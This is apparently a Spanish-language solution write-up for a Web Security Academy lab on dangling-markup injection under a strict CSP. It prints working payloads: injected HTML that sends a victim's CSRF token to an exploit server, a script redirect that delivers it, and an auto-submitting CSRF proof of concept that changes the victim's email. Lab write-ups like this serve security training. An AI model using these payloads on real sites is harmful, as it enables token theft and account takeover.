Reflected XSS protected by very strict CSP, with dangling markup attack
![[20260330175333.png]](/assets/20260330175333.DJZYOFgV.png)
LAB
![[20260331043259.png]](/assets/20260331043259.DnfuxJdI.png)
En el sitio web vemos que podemos insertar codigo html.
![[20260331043025.png]](/assets/20260331043025.DKvhnbec.png)
?email=prueba"> </form>Al insertar el valor de email por lo que podemos escapar de las etiquetas form
![[20260331043830.png]](/assets/20260331043830.C0xX_qEh.png)
A partir de ello podemos construir nuestro boton y formulario el cual toma al csrf
https://0a6a00d103c1e7f9807d036d003d00f0.web-security-academy.net/my-account?email=prueba"> </form><form class="login_form" name ="myform" action="https://exploit-0a33008303e6e77e805e02d1013b001e.exploit-server.net/exploit" method="GET" ><button class="button" type=submit>Click me </button>![[20260331044010.png]](/assets/20260331044010.BHFKq105.png)
Al presionar el botón se nos envía el csrf, esto debido a que es tomado dentro del nuevo formulario.
![[20260331044029.png]](/assets/20260331044029.DDhI16yO.png)
<script>
location='https://0a6a00d103c1e7f9807d036d003d00f0.web-security-academy.net/my-account?email=prueba"> </form><form class="login_form" name ="myform" action="https://exploit-0a33008303e6e77e805e02d1013b001e.exploit-server.net/exploit" method="GET" ><button class="button" type=submit>Click me </button>'
</script>Para obtener el csrf de la victima, podemos hacer uso del exploit server
![[20260331044235.png]](/assets/20260331044235.B3NZfVrJ.png)
Al guardar y entregar a la victima veremos que tenemos el csrf del usuario victima.
![[20260331044309.png]](/assets/20260331044309.D17LCHn7.png)
/exploit?csrf=ot6BaEznTSkIRyCy89lCu9X18AcDvpwUPara poder realizar un cambio del correo podemos usar un poc de CSRF que es construido por burpsuite.
![[20260331044441.png]](/assets/20260331044441.B2CxXm7r.png)
![[20260331044502.png]](/assets/20260331044502.kiL8CvKd.png)
Al generar la POc vemos que tenemos lo siguiente:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a6a00d103c1e7f9807d036d003d00f0.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacker@evil-user.net" />
<input type="hidden" name="csrf" value="ot6BaEznTSkIRyCy89lCu9X18AcDvpwU" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>![[20260331044618.png]](/assets/20260331044618.9b4ZX7if.png)
Luego daremos a guardar y entregar a al victima y veremos que el laboratorio queda solucionado, cambiando el correo efectivamente.